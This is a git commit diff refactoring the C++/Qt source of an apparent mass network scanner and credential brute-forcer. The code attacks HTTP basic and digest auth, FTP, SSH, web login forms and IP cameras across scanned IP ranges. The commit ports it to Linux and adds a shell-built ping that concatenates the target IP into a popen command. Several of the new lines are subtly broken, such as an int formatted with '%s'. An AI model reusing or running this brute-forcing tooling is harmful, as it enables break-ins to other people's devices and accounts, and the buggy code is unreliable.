eclipse commit, cp-refactoring

This commit is contained in:
cora48 2015-02-26 17:20:37 +03:00
parent 01dc161374
commit 5a313d05ed
15 changed files with 279 additions and 154 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -27,7 +27,8 @@ int _countFTPDirectories(char *recvBuff){
dirPtr = strstr(dirPtr + 1, "\n"); dirPtr = strstr(dirPtr + 1, "\n");
}; };
return dirCounter; return dirCounter;
}; }
void BConInc() void BConInc()
{ {
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
@ -41,6 +42,7 @@ __asm
stt->doEmitionChangeBA(QString::number(BrutingThrds)); stt->doEmitionChangeBA(QString::number(BrutingThrds));
} }
void BConDec() void BConDec()
{ {
if(BrutingThrds > 0) if(BrutingThrds > 0)
@ -58,6 +60,7 @@ void BConDec()
stt->doEmitionChangeBA(QString::number(BrutingThrds)); stt->doEmitionChangeBA(QString::number(BrutingThrds));
} }
bool debugWriteWait = false; bool debugWriteWait = false;
void _DebugWriteHTMLToFile(char *request, char *buff) void _DebugWriteHTMLToFile(char *request, char *buff)
{ {
@ -79,6 +82,7 @@ void _DebugWriteHTMLToFile(char *request, char *buff)
}; };
debugWriteWait = false; debugWriteWait = false;
} }
unsigned char tl(unsigned char d) unsigned char tl(unsigned char d)
{ {
if(d >= 192 && d <= 223) if(d >= 192 && d <= 223)
@ -90,7 +94,8 @@ unsigned char tl(unsigned char d)
{ {
return tolower(d); return tolower(d);
}; };
}; }
int recvWT( int recvWT(
int Socket, int Socket,
char *Buffer, char *Buffer,
@ -116,6 +121,7 @@ int recvWT(
} }
return(n) ; /* trouble */ return(n) ; /* trouble */
} }
std::string toLowerStr(const char *str) std::string toLowerStr(const char *str)
{ {
int tsz = strlen(str); int tsz = strlen(str);
@ -141,7 +147,8 @@ std::string toLowerStr(const char *str)
return tstr; return tstr;
}; };
return ""; return "";
}; }
int OpenConnection(SOCKET *sock, const char *hostname, int port) int OpenConnection(SOCKET *sock, const char *hostname, int port)
{ {
struct hostent *host; struct hostent *host;
@ -234,7 +241,8 @@ void _baSSLWorker(char *ip, char *request, char *rvBuff)
ERR_error_string(ERR_peek_last_error(), buff2); ERR_error_string(ERR_peek_last_error(), buff2);
stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
}; };
}; }
char *_getAttributeValue(char *str, char *val, char *ip, int port) char *_getAttributeValue(char *str, char *val, char *ip, int port)
{ {
char res[1024] = {0}; char res[1024] = {0};
@ -276,7 +284,7 @@ char *_getAttributeValue(char *str, char *val, char *ip, int port)
stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>"); stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>");
return ""; return "";
}; };
}; }
#define HASHLEN 16 #define HASHLEN 16
typedef char HASH[HASHLEN]; typedef char HASH[HASHLEN];
@ -363,7 +371,7 @@ char *_makeDigestResponse(
char responseMD5[64] = {0}; char responseMD5[64] = {0};
CvtHex(response, responseMD5); CvtHex(response, responseMD5);
return (char*)responseMD5; return (char*)responseMD5;
}; }
lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
{ {
@ -846,6 +854,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
} }
lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
@ -855,7 +864,7 @@ lopaStr Connector::_BALobby(char *cookie, char *ip, int port, char *path, char *
BConDec(); BConDec();
return res; return res;
}; }
lopaStr _FTPBrute(char *ip, int port, PathStr *ps) lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
{ {
@ -1128,7 +1137,6 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
return lps; return lps;
}; };
#pragma region Get pasv Port
char *ptr0 = strstr(recvBuff2, "227 "); char *ptr0 = strstr(recvBuff2, "227 ");
if( ptr0 != NULL ) if( ptr0 != NULL )
@ -1271,7 +1279,8 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; }
lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps) lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
@ -1286,7 +1295,7 @@ lopaStr Connector::_FTPLobby(char *ip, int port, PathStr *ps)
BConDec(); BConDec();
return lps; return lps;
}; }
int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR) int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
{ {
@ -1427,11 +1436,13 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2)); stt->doEmitionRedFoundData(QString(iph) + ":" + QString(porth) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
return -1; return -1;
} }
}; }
int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR) int Connector::_EstablishSSLConnection(char *iph, int porth, char *requesth, conSTR *CSTR)
{ {
return _sslConnectTo(iph, porth, requesth, CSTR); return _sslConnectTo(iph, porth, requesth, CSTR);
}; }
void __deleteExcessiveNullBytes(char *buff, int sz) void __deleteExcessiveNullBytes(char *buff, int sz)
{ {
int j = 0; int j = 0;
@ -1439,7 +1450,8 @@ void __deleteExcessiveNullBytes(char *buff, int sz)
{ {
if(buff[i] != 0) buff[j++] = buff[i]; if(buff[i] != 0) buff[j++] = buff[i];
}; };
}; }
struct linger linger = { 0 }; struct linger linger = { 0 };
int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force) int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *CSTR, int force)
{ {
@ -1677,7 +1689,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
recvBuff2 = NULL; recvBuff2 = NULL;
return -1; return -1;
}; };
}; }
#pragma region WF #pragma region WF
lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
@ -1967,7 +1979,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; }
lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); while(BrutingThrds >= gMaxBrutingThreads) Sleep(700);
@ -1979,7 +1992,7 @@ lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, c
BConDec(); BConDec();
return res; return res;
}; }
#pragma region SSH #pragma region SSH
int _sshConnect(char *user, char *pass, char *host, int port) int _sshConnect(char *user, char *pass, char *host, int port)
@ -2028,7 +2041,8 @@ int _sshConnect(char *user, char *pass, char *host, int port)
ssh_free(my_ssh_session); ssh_free(my_ssh_session);
++ssh; ++ssh;
return 0; return 0;
}; }
char *_get_ssh_banner(char *ip, int port) char *_get_ssh_banner(char *ip, int port)
{ {
Connector con; Connector con;
@ -2045,7 +2059,8 @@ char *_get_ssh_banner(char *ip, int port)
CSTR.lowerBuff = NULL; CSTR.lowerBuff = NULL;
}; };
return recvBuff; return recvBuff;
}; }
int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner) int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, conSTR *CSTR, char *banner)
{ {
int res = -1; int res = -1;
@ -2069,7 +2084,8 @@ int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port,
return 0; return 0;
}; };
return res; return res;
}; }
int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner) int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
{ {
CSTR->lowerBuff = NULL; CSTR->lowerBuff = NULL;
@ -2112,7 +2128,7 @@ int _EstablishSSHConnection(char *host, int port, conSTR *CSTR, char *banner)
BConDec(); BConDec();
isActive = 0; isActive = 0;
return -1; return -1;
}; }
#pragma region IPCAMWeb #pragma region IPCAMWeb
int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
@ -2207,7 +2223,8 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
CSSOCKET(sock); CSSOCKET(sock);
return 0; return 0;
}; }
lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
{ {
lopaStr lps; lopaStr lps;
@ -2508,7 +2525,8 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
isActive = 0; isActive = 0;
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
return lps; return lps;
}; }
lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC) lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
@ -2518,8 +2536,10 @@ lopaStr Connector::_IPCameraBLobby(char *ip, int port, char *SPEC)
BConDec(); BConDec();
return res; return res;
}; }
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(char *ip) int _pingMyTarget(char *ip)
{ {
HANDLE hIcmpFile; HANDLE hIcmpFile;
@ -2554,7 +2574,7 @@ int _pingMyTarget(char *ip)
dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData),
NULL, ReplyBuffer, ReplySize, gPingTimeout); NULL, ReplyBuffer, ReplySize, gPingTimeout*1000);
if (dwRetVal != 0) { if (dwRetVal != 0) {
PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer;
struct in_addr ReplyAddr; struct in_addr ReplyAddr;
@ -2579,7 +2599,32 @@ int _pingMyTarget(char *ip)
if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError()));
return 0; return 0;
}; };
}; }
#else
int _pingMyTarget(char *ip)
{
FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r");
if(!pipe) {
stt->doEmitionRedFoundData("Ping pipe failed: cannot open pipe.");
perror("pipe");
return 0;
}
char buffer[128] = {0};
std::string result;
while(!feof(pipe)) {
if(fgets(buffer, 128, pipe) != NULL){
result += buffer;
}
}
pclose(pipe);
if(strstr((char*)result.c_str(), "100% packet loss") != NULL) return 0;
return 1;
}
#endif
QString strIP; QString strIP;
QString strPort; QString strPort;
const char *buff1 = "GET / HTTP/1.1\r\nHost: "; const char *buff1 = "GET / HTTP/1.1\r\nHost: ";
@ -2592,7 +2637,8 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR)
{ {
return _EstablishSSHConnection(ip, port, CSTR, banner); return _EstablishSSHConnection(ip, port, CSTR, banner);
}; };
}; }
int Connector::_ConnectToPort(char *ip, const char *portC, char *hl) int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
{ {
if(gPingNScan) if(gPingNScan)
@ -2644,4 +2690,4 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
CSTR.lowerBuff = NULL; CSTR.lowerBuff = NULL;
}; };
strFlag = 1; strFlag = 1;
}; }

View File

@ -1,7 +1,6 @@
extern std::string toLowerStr(const char *str); extern std::string toLowerStr(const char *str);
extern int recvS(int lSock, char *recvBuffT, int len, int mode); extern int recvS(int lSock, char *recvBuffT, int len, int mode);
extern int sendS(int lSock, char *msg, int len, int mode); extern int sendS(int lSock, char *msg, int len, int mode);
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);
extern void UserNickInit(SOCKET lSock); extern void UserNickInit(SOCKET lSock);
extern void GetNicks(); extern void GetNicks();
extern int startScan(char* argv); extern int startScan(char* argv);
@ -15,4 +14,4 @@ extern char *_findFirst(char *str, char *delim);
extern void nCleanup(); extern void nCleanup();
extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest);
extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage);

View File

@ -1099,7 +1099,6 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
}; };
isActive = 1; isActive = 1;
char b[16] = {0};
char methodVal[128] = {0}; char methodVal[128] = {0};
char actionVal[512] = {0}; char actionVal[512] = {0};
char userVal[128] = {0}; char userVal[128] = {0};
@ -1109,7 +1108,8 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
char formVal[128] = {0}; char formVal[128] = {0};
int fbsz = 0; int fbsz = 0;
char tport[16] = {0}; char tport[16] = {0};
strcpy(tport, itoa(port, b, 10));
sprintf(tport, "%d", port);
std::vector<std::string> inputVec; std::vector<std::string> inputVec;
if(fBlock != NULL) if(fBlock != NULL)
{ {
@ -1265,9 +1265,7 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.pass, sizeof(lps.pass));
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
char tport[32] = {0}; char tport[32] = {0};
char b[16] = {0}; sprintf(tport, ":%d", port);
strcpy(tport, ":");
strcat(tport, itoa(port, b, 10));
Connector con; Connector con;
lps = con._IPCameraBLobby(ip, port, SPEC); lps = con._IPCameraBLobby(ip, port, SPEC);
@ -1287,9 +1285,7 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
char temp[64] = {0}; char temp[64] = {0};
char tport[32] = {0}; char tport[32] = {0};
char b[16] = {0}; sprintf(tport, ":%d", port);
strcpy(tport, ":");
strcat(tport, itoa(port, b, 10));
Connector con; Connector con;
if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data);
@ -1434,24 +1430,30 @@ void _saveSSH(char *ip, int port, int recd, char *buffcpy)
int gsz = ptr1 - buffcpy; int gsz = ptr1 - buffcpy;
strncpy(goodStr, buffcpy, gsz); strncpy(goodStr, buffcpy, gsz);
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3); if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
strcpy(logEmit, "[SSH] "); char portString[16] = {0};
strcpy(log, "[SSH] <font color=\"#00a8ff\">"); sprintf(portString, "%d", port);
strcat(log, goodStr); sprintf(log, "[SSH] <font color=\"#00a8ff\"> %s:%d </font><font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\"> %s </font>", goodStr, port, banner);
strcat(log, ":"); sprintf(log, "[SSH] <span style=\"color: #00a8ff;\"> %s:%d </span>", goodStr, port, banner);
strcat(log, itoa(port, b, 10));
strcat(log, "</font>"); // strcpy(log, "[SSH] <font color=\"#00a8ff\">");
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">"); // strcat(log, goodStr);
strcat(log, banner); // strcat(log, ":");
strcat(log, "</font>"); // strcat(log, itoa(port, b, 10));
// strcat(log, "</font>");
// strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
// strcat(log, banner);
// strcat(log, "</font>");
++PieSSH; ++PieSSH;
strcat(logEmit, "<span style=\"color: #00a8ff;\">");
strcat(logEmit, goodStr);
strcat(logEmit, ":");
strcat(logEmit, itoa(port, b, 10));
strcat(logEmit, "</span>");
fputsf (ip, itoa(port, b, 10), log, -22, "SSH"); // strcpy(logEmit, "[SSH] ");
// strcat(logEmit, "<span style=\"color: #00a8ff;\">");
// strcat(logEmit, goodStr);
// strcat(logEmit, ":");
// strcat(logEmit, itoa(port, b, 10));
// strcat(logEmit, "</span>");
fputsf (ip, portString, log, -22, "SSH");
char loginSSH[128] = {0}; char loginSSH[128] = {0};
char passSSH[128] = {0}; char passSSH[128] = {0};
char *ptrl1 = strstr(buffcpy, ":"); char *ptrl1 = strstr(buffcpy, ":");
@ -1548,7 +1550,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE); if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE);
}; };
strcpy(port, itoa(p, b, 10)); sprintf(port, "%d", p);
if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr);
if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1;
@ -1943,6 +1945,7 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
strcpy(tempPath, "/"); strcpy(tempPath, "/");
}; };
strcpy(mes, rbuff1); strcpy(mes, rbuff1);
if(tempPath[0] != '/') strcat(mes, "/"); if(tempPath[0] != '/') strcat(mes, "/");
strcat(mes, tempPath); strcat(mes, tempPath);
@ -1951,7 +1954,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){ if(tempPort != 80){
strcat(mes, ":"); strcat(mes, ":");
char tbuff[16] = {0}; char tbuff[16] = {0};
strcat(mes, itoa(tempPort, tbuff, 10)); sprintf(tbuff, "%s", tempPort);
strcat(mes, tbuff);
} }
if(strlen(cookie) != 0) if(strlen(cookie) != 0)
{ {
@ -2083,7 +2087,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){ if(tempPort != 80){
strcat(mes, ":"); strcat(mes, ":");
char tbuff[16] = {0}; char tbuff[16] = {0};
strcat(mes, itoa(tempPort, tbuff, 10)); sprintf(tbuff, "%s", tempPort);
strcat(mes, tbuff);
} }
if(strlen(cookie) != 0) if(strlen(cookie) != 0)
{ {
@ -2170,7 +2175,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){ if(tempPort != 80){
strcat(mes, ":"); strcat(mes, ":");
char tbuff[16] = {0}; char tbuff[16] = {0};
strcat(mes, itoa(tempPort, tbuff, 10)); sprintf(tbuff, "%s", tempPort);
strcat(mes, tbuff);
} }
if(strlen(cookie) != 0) if(strlen(cookie) != 0)
{ {
@ -2263,7 +2269,8 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
if(tempPort != 80){ if(tempPort != 80){
strcat(mes, ":"); strcat(mes, ":");
char tbuff[16] = {0}; char tbuff[16] = {0};
strcat(mes, itoa(tempPort, tbuff, 10)); sprintf(tbuff, "%s", tempPort);
strcat(mes, tbuff);
} }
if(strlen(cookie) != 0) if(strlen(cookie) != 0)
{ {

View File

@ -36,7 +36,8 @@ SOURCES +=\
piestat.cpp \ piestat.cpp \
progressbardrawer.cpp \ progressbardrawer.cpp \
STh.cpp \ STh.cpp \
vercheckerthread.cpp vercheckerthread.cpp \
finder.cpp
HEADERS += ActivityDrawerTh_HorNet.h \ HEADERS += ActivityDrawerTh_HorNet.h \

View File

@ -1,6 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE QtCreatorProject> <!DOCTYPE QtCreatorProject>
<!-- Written by QtCreator 3.2.1, 2015-02-24T13:47:42. --> <!-- Written by QtCreator 3.2.1, 2015-02-26T12:01:33. -->
<qtcreator> <qtcreator>
<data> <data>
<variable>EnvironmentId</variable> <variable>EnvironmentId</variable>

View File

@ -20,8 +20,8 @@
#include <QMenu> #include <QMenu>
#include <QGraphicsSceneContextMenuEvent> #include <QGraphicsSceneContextMenuEvent>
#include <QDesktopWidget> #include <QDesktopWidget>
#include <QtMultimedia\qsound.h> #include <QtMultimedia/qsound.h>
#include <QtMultimedia\qsoundeffect.h> #include <QtMultimedia/qsoundeffect.h>
#include <qscrollbar.h> #include <qscrollbar.h>
#include <qdesktopservices.h> #include <qdesktopservices.h>
#include <qmessagebox.h> #include <qmessagebox.h>
@ -1916,7 +1916,7 @@ void nesca_3::slotSaveImage(QAction *qwe)
tr("Save image"), tr("Save image"),
QDir::currentPath() + "/" + fn, QDir::currentPath() + "/" + fn,
".png", ".png",
&tr("*.png") (QString *)"*.png"
); );
if(filename != "") image.save(filename + ".png"); if(filename != "") image.save(filename + ".png");
} }
@ -1939,7 +1939,7 @@ void nesca_3::slotSaveImage(QAction *qwe)
tr("Save image"), tr("Save image"),
QDir::currentPath() + "/" + fn, QDir::currentPath() + "/" + fn,
".png", ".png",
&tr("*.png") (QString *)"*.png"
); );
if(filename != "") image.save(filename + ".png"); if(filename != "") image.save(filename + ".png");
}; };
@ -3545,11 +3545,14 @@ void writeDebugFile(QString str)
char b[8] = {0}; char b[8] = {0};
char fn[64] = {0}; char fn[64] = {0};
strcpy(fn, "./output_"); strcpy(fn, "./output_");
strcat(fn, itoa(qd.currentDate().day(), b, 10)); sprintf(b, "%d", qd.currentDate().day());
strcat(fn, b);
strcat(fn, "_"); strcat(fn, "_");
strcat(fn, itoa(qd.currentDate().month(), b, 10)); sprintf(b, "%d", qd.currentDate().month());
strcat(fn, b);
strcat(fn, "_"); strcat(fn, "_");
strcat(fn, itoa(qd.currentDate().year(), b, 10)); sprintf(b, "%d", qd.currentDate().year());
strcat(fn, b);
strcat(fn, ".txt"); strcat(fn, ".txt");
FILE *df = fopen(fn, "a"); FILE *df = fopen(fn, "a");

View File

@ -29,7 +29,7 @@ int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSS
int ipsstart[4], ipsend[4], int ipsstart[4], ipsend[4],
overallPorts, flCounter, octet[4]; overallPorts, flCounter, octet[4];
unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL; unsigned char **ipsstartfl = NULL, **ipsendfl = NULL, **starterIP = NULL;
int gPingTimeout = 2000; int gPingTimeout = 1;
double ips = 0; double ips = 0;
char top_level_domain[128] = {0}; char top_level_domain[128] = {0};
char endIP2[128] = {0}; char endIP2[128] = {0};
@ -116,7 +116,8 @@ void SaveErrorLog(char *sender, char *MesSent, char *ReplRecv)
delete []totalErrLog; delete []totalErrLog;
totalErrLog = NULL; totalErrLog = NULL;
}; };
}; }
QString GetNSErrorDefinition(char *str, char *elem) QString GetNSErrorDefinition(char *str, char *elem)
{ {
char *temp = strstr(str, elem); char *temp = strstr(str, elem);
@ -134,30 +135,42 @@ QString GetNSErrorDefinition(char *str, char *elem)
return QString(definition); return QString(definition);
} }
else return QString("No definition found!"); else return QString("No definition found!");
}; }
void ConInc() void ConInc()
{ {
__asm #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
__asm
{ {
lock inc cons; lock inc cons;
}; };
#else
asm("lock incl cons");
#endif
stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads));
}; }
void ConDec() void ConDec()
{ {
if(cons > 0) if(cons > 0)
{ {
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
__asm __asm
{ {
lock dec cons; lock dec cons;
}; };
#else
asm("lock decl cons");
#endif
}; };
stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads)); stt->doEmitionThreads(QString::number(cons) + "/" + QString::number(gThreads));
}; }
void _SaveBackupToFile() void _SaveBackupToFile()
{ {
char saveStr[512] = {0}; char saveStr[512] = {0};
@ -322,31 +335,19 @@ void _SaveBackupToFile()
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[PING_TO]:"); sprintf(saveStr, "[PING_TO]: %d\n", gPingTimeout);
char tb[16] = {0};
strcat(saveStr, itoa(gPingTimeout, tb, 10));
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[THREAD_DELAY]:"); sprintf(saveStr, "[THREAD_DELAY]: %d\n", gThreadDelay);
ZeroMemory(tb, 16);
strcat(saveStr, itoa(gThreadDelay, tb, 10));
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[TIMEOUT]:"); sprintf(saveStr, "[TIMEOUT]: %d\n", gTimeOut);
ZeroMemory(tb, 16);
strcat(saveStr, itoa(gTimeOut, tb, 10));
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
strcpy(saveStr, "[MAXBTHR]:"); sprintf(saveStr, "[MAXBTHR]: %d\n", gMaxBrutingThreads);
ZeroMemory(tb, 16);
strcat(saveStr, itoa(gMaxBrutingThreads, tb, 10));
strcat(saveStr, "\n");
strcat(saveBuffer, saveStr); strcat(saveBuffer, saveStr);
ZeroMemory(saveStr, sizeof(saveStr)); ZeroMemory(saveStr, sizeof(saveStr));
@ -377,7 +378,7 @@ void _saver()
__savingBackUpFile = false; __savingBackUpFile = false;
Sleep(10000); Sleep(10000);
}; };
}; }
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
void _timer() void _timer()
@ -786,7 +787,7 @@ void *_tracker()
}; };
trackAlreadyGoing = false; trackAlreadyGoing = false;
}; };
}; }
unsigned long int numOfIps(int ipsstart[], int ipsend[]) unsigned long int numOfIps(int ipsstart[], int ipsend[])
{ {
@ -801,7 +802,8 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[])
//unsigned long gTargets = ip2 - ip1; //unsigned long gTargets = ip2 - ip1;
return gTargets; return gTargets;
}; }
//#include <sys/types.h> //#include <sys/types.h>
//#include <stdio.h> //#include <stdio.h>
//#include <signal.h> //#include <signal.h>
@ -894,7 +896,8 @@ void *_connect(void* ss)
}; };
ConDec(); ConDec();
}; }
void targetAndIPWriter(unsigned long int target, char *buff) void targetAndIPWriter(unsigned long int target, char *buff)
{ {
char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0}; char curIPBuff[256] = {0}, targetNPers[32] = {0}, dbuffer[32] = {0};
@ -917,7 +920,8 @@ void targetAndIPWriter(unsigned long int target, char *buff)
stt->doEmitionIPRANGE(QString(curIPBuff)); stt->doEmitionIPRANGE(QString(curIPBuff));
stt->doEmitionTargetsLeft(QString(targetNPers)); stt->doEmitionTargetsLeft(QString(targetNPers));
}; }
void _passLoginFapper() void _passLoginFapper()
{ {
MaxLogin = 0; MaxLogin = 0;
@ -1136,7 +1140,8 @@ void _passLoginFapper()
